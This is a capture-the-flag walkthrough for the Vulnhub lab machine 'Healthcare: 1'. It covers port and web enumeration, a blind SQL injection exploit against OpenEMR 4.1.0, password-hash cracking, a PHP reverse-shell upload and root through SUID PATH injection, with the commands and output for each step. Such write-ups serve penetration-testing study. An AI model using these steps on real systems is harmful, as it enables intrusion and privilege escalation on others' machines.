Vulnhub | Healthcare: 1

In this walkthrough, I demonstrate how I obtained complete ownership of Healthcare: 1 from Vulnhub
Vulnhub | Healthcare: 1
In: Vulnhub, TJ Null OSCP Practice, Attack, CTF, Home Lab, OSCP Prep

Nmap Results

# Nmap 7.92 scan initiated Thu Jul 21 17:51:49 2022 as: nmap -T5 -p- -oA scan 10.9.9.56
Nmap scan report for 10.9.9.56
Host is up (0.00033s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http

# Nmap done at Thu Jul 21 17:51:51 2022 -- 1 IP address (1 host up) scanned in 1.99 seconds





Service Enumeration

TCP/21

Check for anonymous access to FTP. No luck.



TCP/80

robots.txt

# $Id: robots.txt 410967 2009-08-06 19:44:54Z oden $
# $HeadURL: svn+ssh://svn.mandriva.com/svn/packages/cooker/apache-conf/current/SOURCES/robots.txt $
# exclude help system from robots
User-agent: *
Disallow: /manual/
Disallow: /manual-2.2/
Disallow: /addon-modules/
Disallow: /doc/
Disallow: /images/
# the next line is a spam bot trap, for grepping the logs. you should _really_ change this to something else...
Disallow: /all_our_e-mail_addresses
# same idea here...
Disallow: /admin/
# but allow htdig to index our doc-tree
#User-agent: htdig
#Disallow:
# disallow stress test
user-agent: stress-agent
Disallow: /

sitemap.xml

None

Web Enumeration

Check the paths found in robots.txt first. /addon-modules seems like a valid path, but only accessible from the localhost address. All others return 404 .

Try gobuster enumeration on the site root:

gobuster dir -u http://10.9.9.56/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html -t 200 -o gobuster.txt -r

/index                (Status: 200) [Size: 5031]
/index.html           (Status: 200) [Size: 5031]
/images               (Status: 403) [Size: 1009]
/css                  (Status: 403) [Size: 1009]
/js                   (Status: 403) [Size: 1009]
/robots               (Status: 200) [Size: 620]
/vendor               (Status: 403) [Size: 1009]
/favicon              (Status: 200) [Size: 1406]
/fonts                (Status: 403) [Size: 1009]
/gitweb               (Status: 403) [Size: 1009]
/phpMyAdmin           (Status: 403) [Size: 59]
/server-status        (Status: 403) [Size: 995]
/server-info          (Status: 403) [Size: 995]
/openemr              (Status: 200) [Size: 131]

Looking through the results, the /openemr resource instantly sticks out to me.

Looks like there is a SQL injection vulnerability on this version of OpenEMR according to Exploit Database.

searchsploit openemr 4.1.0
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                 |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenEMR 4.1.0 - 'u' SQL Injection                                                                                                                                              | php/webapps/49742.py
Openemr-4.1.0 - SQL Injection                                                                                                                                                  | php/webapps/17998.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results





Exploit

49742.py is an unauthenticated blind SQL injection attack that attempts to map out usernames and hashes by comparing sleep duration with character guesses. To run the exploit, we need to edit this variable with our target URL.

url = "http://192.168.56.106/openemr/interface/login/validateUser.php?u="

Since this is a blind SQL injection, this will take a bit to run.

python ./49742.py

I will just add the hashes to a file and crack them with John the Ripper.

admin:3863efef9ee2bfbc51ecdca359c6302bed1389e8
medical:ab24aed5a7c4ad45615cd7e0da816eea39e4895d

john --wordlist=/usr/share/seclists/Passwords/xato-net-10-million-passwords.txt hash

medical          (medical)     
ackbar           (admin)

So, the login credentials are effectively:

  • admin:ackbar
  • medical:medical

The first thing I want to do is revisit the FTP service to see if the credentials will let me in.

  • admin:ackbar doesn't work
  • medical:medical works!

Interesting Files

  • /Documents
    • Passwords.txt

After enumerating the FTP service, I log into OpenEMR as admin:ackbar and look for areas I can possibly get some code execution for a reverse shell.

Under the Administration menu, there is a Files interface where I could potentially modify an existing .php file or perhaps abuse the upload feature.

The file upload does not validate the MIME type. I was able to upload a .php file and navigate to http://10.9.9.56/openemr/sites/default/images/shell.php and get a reverse shell on the target. I used the classic PHP reverse shell payload from pentestmonkey.





Post-Exploit Enumeration

Operating Environment

OS & Kernel

ZEN-mini release 2011 (PCLinuxOS) for i586    
    
Linux localhost.localdomain 2.6.38.8-pclos3.bfs #1 SMP PREEMPT Fri Jul 8 18:01:30 CDT 2011 i686 i686 i386 GNU/Linux

Current User

uid=479(apache) gid=416(apache) groups=416(apache)

sudo binary not installed



Users and Groups

Local Users

root:x:0:0:root:/root:/bin/bash
almirant:x:501:502:Almirant:/home/almirant:/bin/bash

Local Groups

root:x:0:
lp:x:7:mysql,medical,almirant
floppy:x:19:mysql,medical,almirant
cdrom:x:22:mysql,medical,almirant
cdwriter:x:80:mysql,saned,medical,almirant
audio:x:81:mysql,medical,almirant
video:x:82:mysql,medical,almirant
dialout:x:83:mysql,medical,almirant
users:x:100:mysql,medical,almirant
polkituser:x:490:mysql,medical,almirant
almirant:x:502:



Network Configurations

Interfaces

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 5e:78:42:6d:7c:fe brd ff:ff:ff:ff:ff:ff
    inet 10.9.9.56/24 brd 10.9.9.255 scope global eth1
    inet6 fe80::5c78:42ff:fe6d:7cfe/64 scope link 
       valid_lft forever preferred_lft forever

Open Ports

tcp        0      0 0.0.0.0:21                  0.0.0.0:*                   LISTEN      -                   
tcp        0      0 :::80                       :::*                        LISTEN      -                   



Interesting Files

/usr/bin/healthcheck


Custom SUID binary with root owner

-rwsr-sr-x 1 root root 5813 Jul 29  2020 /usr/bin/healthcheck





Privilege Escalation

During post-exploit enumeration, one of the basic things to check for on a Linux box is SUID files.

find / -type f -user root -perm /4000 -exec ls -l {} \; 2>/dev/null

This target already has the strings binary installed, so I can take a look at the binary and hopefully find a path injection candidate or similar exploit:

strings /usr/bin/healthcheck

/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
setuid
system
setgid
__libc_start_main
GLIBC_2.0
PTRhp
[^_]
clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -

Easy win, this is a perfect candidate for $PATH injection. Since all of these commands are referenced by their relative names and not absolute paths like /usr/bin/clear , I can exploit path precedence and get a shell as root:

# Copy the bash binary to /tmp/clear
cp /bin/bash /tmp/clear

# Add /tmp first in path precedence so /tmp/clear resolves first
export PATH=/tmp:$PATH

# Run the binary
/usr/bin/healthcheck

Now, when I run the /usr/bin/healthcheck binary, it will run with the root user's privilege level in my session. So, it will read binaries from my $PATH environment. I copied /bin/bash to /tmp/clear . Now, when /usr/bin/healthcheck is run and it tries to invoke the clear command, it will resolve clear => /tmp/clear instead of /usr/bin/clear , since I put /tmp first in my $PATH variable.





Flags

/home/almirant/user.txt

d41d8cd98f00b204e9800998ecf8427e

Root

Thanks for Playing!

Follow me at: http://v1n1v131r4.com


root hash: eaff25eaa9ffc8b62e3dfebf70e83a7b
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.